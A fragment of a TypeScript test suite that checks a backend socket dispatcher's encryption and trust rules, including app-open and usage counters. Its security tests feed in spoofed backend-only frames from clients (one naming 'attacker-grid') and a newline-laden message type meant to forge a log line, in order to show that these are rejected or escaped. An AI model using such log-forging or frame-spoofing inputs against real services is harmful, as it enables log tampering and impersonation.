const serviceRouter = vi.fn(() => true)
socket.serviceRouter = serviceRouter
await dispatch(sealedDown(socket, 'web-1', 'dsh_install', { requestId: 'r', id: 'acme/some-dsh' }).frame, 'web-1')
expect(serviceRouter).toHaveBeenCalledWith('dsh_install', expect.objectContaining({ id: 'acme/some-dsh' }), { local: false, owner: expect.any(Boolean), accountOwner: false, connection: 'web-1', requestId: 'r' }, expect.any(Function))
})
it('refuses a plaintext RPC even from the backend itself (connId \'\'), which would read the reply', async () => {
const { replies, dispatch } = harness()
await dispatch({ type: 'voice_route', payload: { requestId: 'r', transcript: 'ship it' } }, '')
expect(replies).toEqual([{ connId: '', type: 'voice_route', payload: { error: 'E2EE_REQUIRED' } }])
})
it('still takes the backend\'s own control frames plaintext, and nothing plaintext over p2p', async () => {
const { socket, dispatch } = harness()
const onMachineMeta = vi.fn()
socket.onMachineMeta = onMachineMeta
await dispatch({ type: 'machine_meta', payload: { name: 'mac' } }, '')
expect(onMachineMeta).toHaveBeenCalledWith('mac')
const onMessage = vi.fn()
bindMessageRequest(socket, onMessage)
await dispatch({ type: 'message', payload: { content: 'hi', agentId: 'a1' } }, 'peer-1', 'p2p')
expect(onMessage).not.toHaveBeenCalled()
})
it('takes backend-only frames only on the backend\'s own address (connId \'\'), never one a client sent', async () => {
// The backend writes these with connId ''; a client's frame carries its own connId whichever socket
// relayed it, so a client-addressed machine_meta must not repoint this computer's grid.
const { socket, dispatch } = harness()
const onMachineMeta = vi.fn()
socket.onMachineMeta = onMachineMeta
const onRevoked = vi.fn()
socket.onRevoked = onRevoked
for (const connId of ['web-1', 'device-conn-7']) {
await dispatch({ type: 'machine_meta', payload: { name: 'x', gridName: 'someone-else' } }, connId)
await dispatch({ type: 'machine_revoked', payload: {} }, connId)
await dispatch({ type: '__clients', payload: { commander: 9 } }, connId)
}
expect(onMachineMeta).not.toHaveBeenCalled()
expect(onRevoked).not.toHaveBeenCalled()
expect(socket.gridName()).toBeNull()
await dispatch({ type: 'machine_meta', payload: { name: 'mac', gridName: 'mine-1234' } }, '')
expect(onMachineMeta).toHaveBeenCalledWith('mac')
expect(socket.gridName()).toBe('mine-1234')
})
it('never opens a SEALED backend-only frame: a paired client must not speak as the backend', async () => {
// Opening every sealed type is what lets a paired client reach any RPC — and it would also let one seal
// `machine_meta` and repoint this computer's grid. The backend has no key, so its frames are never sealed.
const { socket, dispatch } = harness()
const onMachineMeta = vi.fn()
socket.onMachineMeta = onMachineMeta
const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown')
await dispatch(sealedDown(socket, 'web-1', 'machine_meta', { name: 'x', gridName: 'attacker-grid' }).frame, 'web-1')
await dispatch(sealedDown(socket, 'web-1', '__clients', { commander: 9 }).frame, 'web-1')
expect(onMachineMeta).not.toHaveBeenCalled()
expect(unwrap).not.toHaveBeenCalled()
expect(socket.gridName()).toBeNull()
})
it('logs a relay-chosen type escaped, so it cannot forge a log line', async () => {
const { dispatch } = harness()
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
await dispatch({ type: 'x\n2026-09-25 [backend] forged', payload: {} }, 'web-1')
expect(warn.mock.calls.flat().join(' ')).not.toContain('\n2026')
})
it('answers a sealed e2ee_browser_link_create UNSUPPORTED — setup links are gone', async () => {
const { socket, replies, dispatch } = harness()
await dispatch(sealedDown(socket, 'web-1', 'e2ee_browser_link_create', { requestId: 'r' }).frame, 'web-1')
expect(replies).toEqual([{ connId: 'web-1', type: 'e2ee_browser_link_create', payload: { error: 'UNSUPPORTED' } }])
})
it('leaves trusted local clients in cleartext', async () => {
const { socket, dispatch } = harness()
const onMessage = vi.fn()
bindMessageRequest(socket, onMessage)
socket.registerLocalClient('local:app', { sendFrame: () => true, sendBinary: () => true })
await dispatch({ type: 'message', payload: { content: 'hi', agentId: 'a1' } }, 'local:app', 'local')
// With what became of it, for its measurement.
expect(onMessage).toHaveBeenCalledWith('a1', 'hi', undefined, expect.any(Function))
await dispatch({ type: 'message', payload: { content: 'task in A', agentId: 'a1', tabId: 'swarm-a' } }, 'local:app', 'local')
expect(onMessage).toHaveBeenLastCalledWith('a1', 'task in A', undefined, expect.any(Function))
})
})
describe('opening the app', () => {
// The desktop app holds one local connection per machine it shows, and dials again on every
// reconnect and every five-second link retry: counted per connection, prod's first day read 5,675
// desktop opens across 68 active installations.
it('counts a surface opening once, however many connections its windows hold', async () => {
const socket = new BackendSocket('fixture')
const opened: string[] = []
socket.useGateway({ holdRequests: () => {}, serveThisComputerOnly: () => {}, localClients: () => {},
windowOpened: (surface: string) => { opened.push(surface) } } as never)
const sink = { sendFrame: () => true, sendBinary: () => true }
for (const id of ['local:a', 'local:b', 'local:c']) socket.registerLocalClient(id, sink)
socket.registerLocalClient('local:tui', sink, { surface: 'tui' })
socket.registerLocalClient('local:tool', sink, { tool: true })
expect(opened).toEqual(['desktop', 'tui'])
await socket.unregisterLocalClient('local:b')
socket.registerLocalClient('local:b2', sink)
expect(opened).toEqual(['desktop', 'tui'])
for (const id of ['local:a', 'local:b2', 'local:c']) await socket.unregisterLocalClient(id)
socket.registerLocalClient('local:again', sink)
expect(opened).toEqual(['desktop', 'tui', 'desktop'])
})
it('counts hn\'s own observations from hn alone, as fixed counters', async () => {
const socket = new BackendSocket('fixture')
const counted: string[] = []
socket.useGateway({ holdRequests: () => {}, serveThisComputerOnly: () => {}, localClients: () => {}, windowOpened: () => {},
usageCounter: (metric: string) => { counted.push(metric) } } as never)
const sink = { sendFrame: () => true, sendBinary: () => true }
socket.registerLocalClient('local:tui', sink, { surface: 'tui' })
socket.registerLocalClient('local:app', sink)
socket.registerLocalClient('local:tool', sink, { tool: true })
const flow = { flow: 'remote_connect', outcome: 'failed', durationMs: 12_000 }
for (const id of ['local:app', 'local:tool', 'web-1', 'local:gone']) socket.observeProduct(id, flow)
expect(counted).toEqual([])
socket.observeProduct('local:tui', { flow: 'remote_connect' })
socket.observeProduct('local:tui', flow)
socket.observeProduct('local:tui', { measure: 'funnel_workspace_ready' })
socket.observeProduct('local:tui', { measure: 'PRIVATE_CANARY' })
socket.observeProduct('local:tui', { ...flow, agentId: 'PRIVATE_CANARY' })
expect(counted).toEqual(['ui_tui_remote_connect_started', 'ui_tui_remote_connect_failed', 'ui_tui_remote_connect_10s_to_1m',
'health_tui_funnel_workspace_ready'])
await socket.unregisterLocalClient('local:tui')
socket.observeProduct('local:tui', flow)
expect(counted).toHaveLength(4)
})
})